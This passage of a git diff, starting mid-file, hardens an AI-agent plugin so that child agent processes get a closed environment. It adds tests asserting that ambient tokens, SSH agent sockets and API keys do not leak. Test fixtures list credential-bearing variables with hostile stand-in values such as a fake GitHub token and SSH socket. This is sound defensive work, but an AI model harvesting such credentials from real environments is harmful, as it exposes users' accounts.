assert.equal(JSON.stringify(recovered).includes(created.path), false); + assert.equal(JSON.stringify(recovered).includes('stale-secret-value'), false); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('DSH ACPX nested children omit ambient FAKE_ACPX and secrets except closed injection', async () => { + const previousCommand = process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + try { + await withAmbientSecrets({ + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + FAKE_ACPX_MODE: 'should-not-win', + MODEL_API_KEY: HOSTILE_ENV.MODEL_API_KEY, + }, async () => { + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: 'success' }); + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-dsh-acpx-')); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'do not leak credentials', + record: { + id: 'dsh-ambient', + status: 'accepted', + provider: 'dsh', + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: 'dsh-ambient' }); + assert.equal(terminal.status, 'completed'); + const keys = JSON.parse(await readFile(path.join(cwd, '.fake-acpx-env-keys.json'), 'utf8')); + assert.equal(keys.includes('FAKE_ACPX_MODE'), true); + assert.equal(keys.includes('FAKE_ACPX_HOSTILE'), false); + assert.equal(keys.includes('GH_TOKEN'), false); + assert.equal(keys.includes('SSH_AUTH_SOCK'), false); + assert.equal(keys.includes('GITHUB_TOKEN'), false); + assert.equal(keys.includes('WORKTREE_BOOTSTRAP_TASK'), false); + assert.equal(JSON.stringify(keys).includes('ambient-fake-acpx-secret'), false); + assert.equal(JSON.stringify(keys).includes(HOSTILE_ENV.MODEL_API_KEY), false); + } finally { + installClosedProviderTestInjection(null); + await rm(root, { recursive: true, force: true }); + } + }); + } finally { + installClosedProviderTestInjection(null); + if (previousCommand === undefined) delete process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + else process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = previousCommand; + } +}); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs index 1e4e0db..7db230a 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -36,6 +36,7 @@ import { } from '../mcp/v3/local-provider-result-sink.mjs'; import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; import { attachLocalProviderResultSink, runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; import { @@ -413,13 +414,14 @@ async function workerFixture(extra = {}) { } async function withFakeAcpx(mode, callback) { - const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE']; + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; - process.env.FAKE_ACPX_MODE = mode; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: mode }); try { return await callback(); } finally { + installClosedProviderTestInjection(null); for (const name of names) { if (previous[name] === undefined) delete process.env[name]; else process.env[name] = previous[name]; diff --git a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs index dd202e0..5e6380b 100644 --- a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs @@ -6,6 +6,7 @@ import test from 'node:test'; import { fileURLToPath } from 'node:url'; import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { submitReply } from '../mcp/v3/mailbox.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; @@ -36,17 +37,17 @@ async function fixture(extra = {}) { } async function withFakeAcpx(mode, callback, options = {}) { - const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE', 'FAKE_ACPX_ARTIFACT_MARKER', 'FAKE_ACPX_DESCENDANT_PID_FILE']; + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; - process.env.FAKE_ACPX_MODE = mode; - if (options.artifactMarker) process.env.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; - else delete process.env.FAKE_ACPX_ARTIFACT_MARKER; - if (options.descendantPidFile) process.env.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; - else delete process.env.FAKE_ACPX_DESCENDANT_PID_FILE; + const injection = { FAKE_ACPX_MODE: mode }; + if (options.artifactMarker) injection.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; + if (options.descendantPidFile) injection.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; + installClosedProviderTestInjection(injection); try { return await callback(); } finally { + installClosedProviderTestInjection(null); for (const name of names) { if (previous[name] === undefined) delete process.env[name]; else process.env[name] = previous[name]; diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 41f17ba..05f2e1d 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -37,6 +37,37 @@ function fakeChild(exitCode = 0) { return child; } +test('resets inherited manager environment and execs a closed env -i projection', () => { + const argv = buildProcessBoundaryArgv({ + unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin' }, + inherited: { + HOME: '/home/test-user', + PATH: '/usr/bin', + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + GH_TOKEN: 'ghp_manager-token', + GIT_SSH: '/tmp/hostile-ssh', + }, + }); + const unset = argv.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(unset.includes('GIT_SSH'), true); + assert.equal(unset.includes('HOME'), false); + assert.equal(unset.includes('PATH'), false); + assert.equal(argv.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('/usr/bin/env'), true); + assert.equal(argv.includes('-i'), true); + assert.equal(argv.includes('HOME=/home/test-user'), true); + assert.equal(argv.includes('PATH=/bin'), true); +}); + test('builds a manager-owned systemd service without putting credential values in argv', () => { const argv = buildProcessBoundaryArgv({ unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', @@ -55,7 +86,7 @@ test('builds a manager-owned systemd service without putting credential values i '--property=StandardOutput=append:/state/task.log', '--property=StandardError=append:/state/task.log', '--setenv=HOME=/home/test-user', - '--', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', + '--', '/usr/bin/env', '-i', 'HOME=/home/test-user', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', ]); assert.equal(argv.some((entry) => entry.includes('provider-secret')), false); assert.equal(argv.some((entry) => /MemoryMax|TasksMax|NoNewPrivileges|Private|Restrict|Protect/iu.test(entry)), false); @@ -123,6 +154,9 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin assert.equal(calls[0].args.includes('worker.mjs'), true); assert.equal(calls[0].args.includes('--setenv=HOME=/home/test-user'), true); assert.equal(calls[0].args.includes('--setenv=PATH=/bin'), true); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.includes('HOME=/home/test-user'), true); assert.equal(calls[0].args.some((entry) => String(entry).includes('provider-secret')), false); assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), false); assert.equal(value.receipt.boundary, 'systemd-user-service-cgroup'); diff --git a/tools/acpx-vendor/src/hardening-overlay.mjs b/tools/acpx-vendor/src/hardening-overlay.mjs index ecc93e8..e798e08 100644 --- a/tools/acpx-vendor/src/hardening-overlay.mjs +++ b/tools/acpx-vendor/src/hardening-overlay.mjs @@ -247,6 +247,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -256,6 +285,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, });